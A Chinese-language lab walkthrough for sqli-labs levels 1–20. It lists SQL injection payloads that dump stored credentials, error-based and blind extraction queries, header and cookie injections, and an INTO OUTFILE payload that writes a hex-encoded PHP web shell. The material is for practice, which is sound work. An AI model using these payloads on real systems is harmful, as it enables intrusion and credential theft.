sqli-labs之Page-1
搭建与安装
参考:https://www.fujieace.com/penetration-test/sqli-labs-ec.html
下载:sqli-labs下载
第一关:单引号报错注入
?id=-1' union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第二关:数值型报错注入
?id=100 union select 1,(select group_concat(username,0x3a,password) from security.users),3
第三关:单引号右括号报错注入
?id=-1') union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第四关:双引号右括号报错注入
?id=-1") union select 1,(select group_concat(username,0x3a,password) from security.users),3--+
第五关:单引号双查询报错注入
通过ExtractValue报错,最多输出32位。
?id=1' and extractvalue(1, concat(0x23,(select group_concat(username,0x3a,password) from security.users),0x23))--+
通过updatexml报错,最多输出32位
?id=1' and updatexml(1, concat(0x23,(select group_concat(username,0x3a,password) from security.users),0x23),1)--+
通过floor报错
?id=1' and(select 1 from (select count(*),concat(concat((select concat(username,0x7e,password,0x7e)from security.users limit 0,1),0x7e),floor(rand(0)*2))x from information_schema.tables group by x)y)--+
第六关:就是第五关的单引号变为双引号
第七关:into outfile来写shell
?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile 'C:\\phpStudy\\WWW\\sqli-labs\\Less-7\\1.php' --+
第七关有个问题,要想into outfile能够写入文件,必须在mysql中的my.ini文件中的mysqld下面写入secure_file_priv=
因为secure_file_priv=NULL时,是无法写入文件的。
第八关:布尔型单引号盲注
判断数据库长度
?id=1' and (length(database()))=8--+
猜库名
?id=1' and left((select database()),1)='s'--+ ?id=1' and left((select database()),2)='se'--+ ?id=1' and left((select database()),3)='sec'--+ ?id=1' and left((select database()),4)='secu'--+ ?id=1' and left((select database()),5)='secur'--+ ?id=1' and left((select database()),6)='securi'--+ ?id=1' and left((select database()),7)='securit'--+ ?id=1' and left((select database()),8)='security'--+
判断第四张表的长度,users长度为5
?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+
猜表名
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1) = 'u' --+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),2) = 'us'--+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),3) = 'use' --+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),4) = 'user' --+ ?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5) = 'users' --+
剩下的类似,只是更换一下payload即可。
第九关:时间型单引号盲注
判断数据库长度,长度正确便sleep5秒。
?id=1' and if(length(database())=8,sleep(5),1)--+
猜库名,正确便sleep5秒
?id=1' and if(left(database(),8)='security',sleep(5),1)--+
剩下的同第8关类似。
第十关:把第九关的单引号改为双引号
POST型可以用burp进行拦截改包
第十一关:单引号报错注入
uname=-admin' union select 1,(select group_concat(username,0x3a,password) from security.users)--+&passwd=admin&submit=Submit
大致与第一关没什么差别,只是列数只要两列了,用户名和密码都可以进行注入。
第十二关:双引号右括号报错注入
uname=-admin") union select 1,(select group_concat(username,0x3a,password) from security.users)--+&passwd=admin&submit=Submit
第十三关:单引号右括号报错注入,做法同第5关的类似,只是变为POST型而已
第十四关:双引号报错注入,做法依旧同第5关类似,POST型
第十五关:布尔型或时间型单引号盲注
时间延迟型爆数据库长度
uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
布尔型爆数据库长度
uname=admin' and (length(database()))=8--+&passwd=admin&submit=Submit
参考第8,9关即可。
第十六关:布尔型或时间型双引号盲注
这一关的名字是说双引号,但是自己在做的时候发现双引号闭合不了,需要双引号加右括号才能闭合,所以我不确定是不是我自己环境的问题。
做法同十五关一样。
第十七关:update的注入
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); //echo $row; if($row) { $row1 = $row['username']; //echo 'Your Login name:'. $row1; $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update); echo "<br>";
payload:
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit
第十八关:UA的报错注入
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)"; mysql_query($insert);
payload:
User-Agent: ' and updatexml(1,concat(0x23,(version()),0x23),1) and '
前后两个单引号不过是为了闭合'$uagent'前后两个引号。
第十九关:Referer的报错注入
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')"; mysql_query($insert);
构造payload:
Referer: ' and updatexml(1,concat(0x23,(database()),0x23),1) and '
第二十关:cookie的报错注入
20关在burp中将抓取到的第一个包放掉,第二个包就可以看到cookie了。
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); $cookee = $row1['username']; if($row1) { echo '<font color= "#FFFF00" font size = 3 >'; setcookie('uname', $cookee, time()+3600); header ('Location: index.php'); echo "I LOVE YOU COOKIES";
$cookee = $_COOKIE['uname']; $format = 'D d M Y - H:i:s'; $timestamp = time() + 3600;
payload:
Cookie: uname=' union select 1,database(),version()#